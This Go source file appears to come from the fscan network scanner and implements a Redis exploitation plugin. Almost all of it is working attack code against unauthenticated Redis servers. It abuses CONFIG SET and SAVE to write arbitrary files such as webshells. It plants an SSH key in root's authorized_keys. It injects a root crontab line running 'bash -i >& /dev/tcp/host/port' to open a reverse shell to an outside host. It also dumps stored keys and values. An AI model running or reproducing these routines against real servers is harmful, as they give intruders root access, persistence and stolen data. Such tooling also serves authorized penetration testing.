package redis import ( "bufio" "context" "fmt" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins/base" "os" "path/filepath" "strings" ) // RedisExploiter Redis利用器实现 type RedisExploiter struct { *base.BaseExploiter connector *RedisConnector } // NewRedisExploiter 创建Redis利用器 func NewRedisExploiter() *RedisExploiter { exploiter := &RedisExploiter{ BaseExploiter: base.NewBaseExploiter("redis"), connector: NewRedisConnector(), } // 添加利用方法 exploiter.setupExploitMethods() return exploiter } // setupExploitMethods 设置利用方法 func (e *RedisExploiter) setupExploitMethods() { // 1. 任意文件写入 - 只有提供了-rwp和(-rwc或-rwf)参数时才启用 if common.RedisWritePath != "" && (common.RedisWriteContent != "" || common.RedisWriteFile != "") { fileWriteMethod := base.NewExploitMethod(base.ExploitFileWrite, "arbitrary_file_write"). WithDescription("利用Redis写入任意文件"). WithPriority(10). WithConditions(). // Redis支持未授权访问,不需要凭据条件 WithHandler(e.exploitArbitraryFileWrite). Build() e.AddExploitMethod(fileWriteMethod) } // 2. SSH密钥写入 - 只有提供了-rf参数时才启用 if common.RedisFile != "" { sshKeyMethod := base.NewExploitMethod(base.ExploitFileWrite, "ssh_key_write"). WithDescription("写入SSH公钥到authorized_keys"). WithPriority(9). WithConditions(). // Redis支持未授权访问,不需要凭据条件 WithHandler(e.exploitSSHKeyWrite). Build() e.AddExploitMethod(sshKeyMethod) } // 3. Crontab定时任务 - 只有提供了-rs参数时才启用 if common.RedisShell != "" { cronMethod := base.NewExploitMethod(base.ExploitCommandExec, "crontab_injection"). WithDescription("注入Crontab定时任务"). WithPriority(9). WithConditions(). // Redis支持未授权访问,不需要凭据条件 WithHandler(e.exploitCrontabInjection). Build() e.AddExploitMethod(cronMethod) } } // exploitArbitraryFileWrite 任意文件写入利用 func (e *RedisExploiter) exploitArbitraryFileWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { // 检查是否配置了文件写入参数 if common.RedisWritePath == "" || (common.RedisWriteContent == "" && common.RedisWriteFile == "") { return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", fmt.Errorf("未配置文件写入参数")), nil } conn, err := e.connectToRedis(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil } defer e.connector.Close(conn) redisConn := conn.(*RedisConnection) result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "arbitrary_file_write") // 备份原始配置 originalConfig := &RedisConfig{ DBFilename: redisConn.config.DBFilename, Dir: redisConn.config.Dir, } defer e.connector.RestoreConfig(redisConn, originalConfig) // 确定文件内容 var content string if common.RedisWriteContent != "" { content = common.RedisWriteContent } else if common.RedisWriteFile != "" { fileData, err := os.ReadFile(common.RedisWriteFile) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", fmt.Errorf("读取文件失败: %v", err)), nil } content = string(fileData) } // 执行文件写入 dirPath := filepath.Dir(common.RedisWritePath) fileName := filepath.Base(common.RedisWritePath) success, msg, err := e.writeFileToRedis(redisConn, dirPath, fileName, content) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", err), nil } if !success { return base.CreateFailedExploitResult(base.ExploitFileWrite, "arbitrary_file_write", fmt.Errorf("写入失败: %s", msg)), nil } base.AddOutputToResult(result, i18n.GetText("redis_webshell_written", common.RedisWritePath)) base.AddFileToResult(result, common.RedisWritePath) return result, nil } // exploitSSHKeyWrite SSH密钥写入利用 func (e *RedisExploiter) exploitSSHKeyWrite(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { if common.RedisFile == "" { return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", fmt.Errorf("未指定SSH密钥文件")), nil } conn, err := e.connectToRedis(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil } defer e.connector.Close(conn) redisConn := conn.(*RedisConnection) result := base.CreateSuccessExploitResult(base.ExploitFileWrite, "ssh_key_write") // 备份原始配置 originalConfig := &RedisConfig{ DBFilename: redisConn.config.DBFilename, Dir: redisConn.config.Dir, } defer e.connector.RestoreConfig(redisConn, originalConfig) // 读取SSH密钥 keyData, err := e.readFirstNonEmptyLine(common.RedisFile) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", fmt.Errorf("读取SSH密钥失败: %v", err)), nil } // 写入SSH密钥 success, msg, err := e.writeSSHKey(redisConn, keyData) if err != nil { return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", err), nil } if !success { return base.CreateFailedExploitResult(base.ExploitFileWrite, "ssh_key_write", fmt.Errorf("写入失败: %s", msg)), nil } base.AddOutputToResult(result, "成功写入SSH密钥到 /root/.ssh/authorized_keys") base.AddFileToResult(result, "/root/.ssh/authorized_keys") return result, nil } // exploitCrontabInjection Crontab注入利用 func (e *RedisExploiter) exploitCrontabInjection(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { if common.RedisShell == "" { return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", fmt.Errorf("未指定反弹Shell地址")), nil } conn, err := e.connectToRedis(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil } defer e.connector.Close(conn) redisConn := conn.(*RedisConnection) result := base.CreateSuccessExploitResult(base.ExploitCommandExec, "crontab_injection") // 备份原始配置 originalConfig := &RedisConfig{ DBFilename: redisConn.config.DBFilename, Dir: redisConn.config.Dir, } defer e.connector.RestoreConfig(redisConn, originalConfig) // 写入Crontab任务 success, msg, err := e.writeCrontab(redisConn, common.RedisShell) if err != nil { return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", err), nil } if !success { return base.CreateFailedExploitResult(base.ExploitCommandExec, "crontab_injection", fmt.Errorf("写入失败: %s", msg)), nil } base.AddOutputToResult(result, i18n.GetText("redis_cron_job_written", common.RedisShell)) // 创建Shell信息 shellParts := strings.Split(common.RedisShell, ":") if len(shellParts) == 2 { result.Shell = &base.ShellInfo{ Type: "reverse", Host: shellParts[0], Port: 0, // 端口需要解析 } } return result, nil } // exploitDataExtraction 数据提取利用 func (e *RedisExploiter) exploitDataExtraction(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { conn, err := e.connectToRedis(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "data_extraction", err), nil } defer e.connector.Close(conn) redisConn := conn.(*RedisConnection) result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "data_extraction") // 获取所有键 keys, err := e.getAllKeys(redisConn) if err == nil && len(keys) > 0 { base.AddOutputToResult(result, i18n.GetText("redis_keys_found", strings.Join(keys[:min(10, len(keys))], ", "))) result.Extra["keys"] = keys // 获取部分键值 for i, key := range keys { if i >= 5 { // 限制只获取前5个键的值 break } value, err := e.getKeyValue(redisConn, key) if err == nil && value != "" { base.AddOutputToResult(result, fmt.Sprintf("%s = %s", key, value)) } } } return result, nil } // exploitInfoGathering 信息收集利用 func (e *RedisExploiter) exploitInfoGathering(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { conn, err := e.connectToRedis(ctx, info, creds) if err != nil { return base.CreateFailedExploitResult(base.ExploitDataExtraction, "info_gathering", err), nil } defer e.connector.Close(conn) redisConn := conn.(*RedisConnection) result := base.CreateSuccessExploitResult(base.ExploitDataExtraction, "info_gathering") // 获取Redis信息 infoResponse, err := e.connector.ExecuteCommand(redisConn, "INFO") if err == nil { lines := strings.Split(infoResponse, "\n") for _, line := range lines { if strings.Contains(line, "redis_version") || strings.Contains(line, "os") || strings.Contains(line, "arch_bits") { base.AddOutputToResult(result, strings.TrimSpace(line)) } } } // 获取配置信息 base.AddOutputToResult(result, i18n.GetText("redis_config_info", fmt.Sprintf("Dir: %s", redisConn.config.Dir))) base.AddOutputToResult(result, i18n.GetText("redis_config_info", fmt.Sprintf("DBFilename: %s", redisConn.config.DBFilename))) return result, nil } // ============================================================================= // Redis操作辅助函数 // ============================================================================= // connectToRedis 连接到Redis func (e *RedisExploiter) connectToRedis(ctx context.Context, info *common.HostInfo, creds *base.Credential) (interface{}, error) { conn, err := e.connector.Connect(ctx, info) if err != nil { return nil, err } err = e.connector.Authenticate(ctx, conn, creds) if err != nil { e.connector.Close(conn) return nil, err } return conn, nil } // writeFileToRedis 通过Redis写入文件 func (e *RedisExploiter) writeFileToRedis(conn *RedisConnection, dirPath, fileName, content string) (bool, string, error) { // 设置目录 if err := e.connector.SetConfig(conn, "dir", dirPath); err != nil { return false, "设置目录失败", err } // 设置文件名 if err := e.connector.SetConfig(conn, "dbfilename", fileName); err != nil { return false, "设置文件名失败", err } // 写入内容 safeContent := strings.ReplaceAll(content, "\"", "\\\"") safeContent = strings.ReplaceAll(safeContent, "\n", "\\n") if err := e.connector.SetKey(conn, "x", safeContent); err != nil { return false, "设置键值失败", err } // 保存 if err := e.connector.Save(conn); err != nil { return false, "保存失败", err } return true, "成功", nil } // writeSSHKey 写入SSH密钥 func (e *RedisExploiter) writeSSHKey(conn *RedisConnection, keyData string) (bool, string, error) { // 设置SSH目录 if err := e.connector.SetConfig(conn, "dir", "/root/.ssh/"); err != nil { return false, "设置SSH目录失败", err } // 设置文件名 if err := e.connector.SetConfig(conn, "dbfilename", "authorized_keys"); err != nil { return false, "设置文件名失败", err } // 写入密钥(前后添加换行符避免格式问题) keyContent := fmt.Sprintf("\\n\\n\\n%s\\n\\n\\n", keyData) if err := e.connector.SetKey(conn, "x", keyContent); err != nil { return false, "设置键值失败", err } // 保存 if err := e.connector.Save(conn); err != nil { return false, "保存失败", err } return true, "成功", nil } // writeCrontab 写入Crontab任务 func (e *RedisExploiter) writeCrontab(conn *RedisConnection, shellTarget string) (bool, string, error) { // 解析Shell目标 parts := strings.Split(shellTarget, ":") if len(parts) != 2 { return false, "Shell目标格式错误", fmt.Errorf("格式应为 host:port") } shellHost, shellPort := parts[0], parts[1] // 先尝试Ubuntu路径 if err := e.connector.SetConfig(conn, "dir", "/var/spool/cron/crontabs/"); err != nil { // 尝试CentOS路径 if err2 := e.connector.SetConfig(conn, "dir", "/var/spool/cron/"); err2 != nil { return false, "设置Cron目录失败", err2 } } // 设置文件名 if err := e.connector.SetConfig(conn, "dbfilename", "root"); err != nil { return false, "设置文件名失败", err } // 写入Crontab任务 cronTask := fmt.Sprintf("\\n* * * * * bash -i >& /dev/tcp/%s/%s 0>&1\\n", shellHost, shellPort) if err := e.connector.SetKey(conn, "xx", cronTask); err != nil { return false, "设置键值失败", err } // 保存 if err := e.connector.Save(conn); err != nil { return false, "保存失败", err } return true, "成功", nil } // readFirstNonEmptyLine 读取文件的第一行非空内容 func (e *RedisExploiter) readFirstNonEmptyLine(filename string) (string, error) { file, err := os.Open(filename) if err != nil { return "", err } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if line != "" { return line, nil } } return "", fmt.Errorf("文件为空或无内容") } // getAllKeys 获取所有Redis键 func (e *RedisExploiter) getAllKeys(conn *RedisConnection) ([]string, error) { response, err := e.connector.ExecuteCommand(conn, "KEYS *") if err != nil { return nil, err } // 简单解析键列表(实际应该按Redis协议解析) lines := strings.Split(response, "\n") var keys []string for _, line := range lines { line = strings.TrimSpace(line) if line != "" && !strings.HasPrefix(line, "*") && !strings.HasPrefix(line, "$") { keys = append(keys, line) } } return keys, nil } // getKeyValue 获取键值 func (e *RedisExploiter) getKeyValue(conn *RedisConnection, key string) (string, error) { command := fmt.Sprintf("GET %s", key) return e.connector.ExecuteCommand(conn, command) } // min 返回两个整数中的较小值 func min(a, b int) int { if a < b { return a } return b }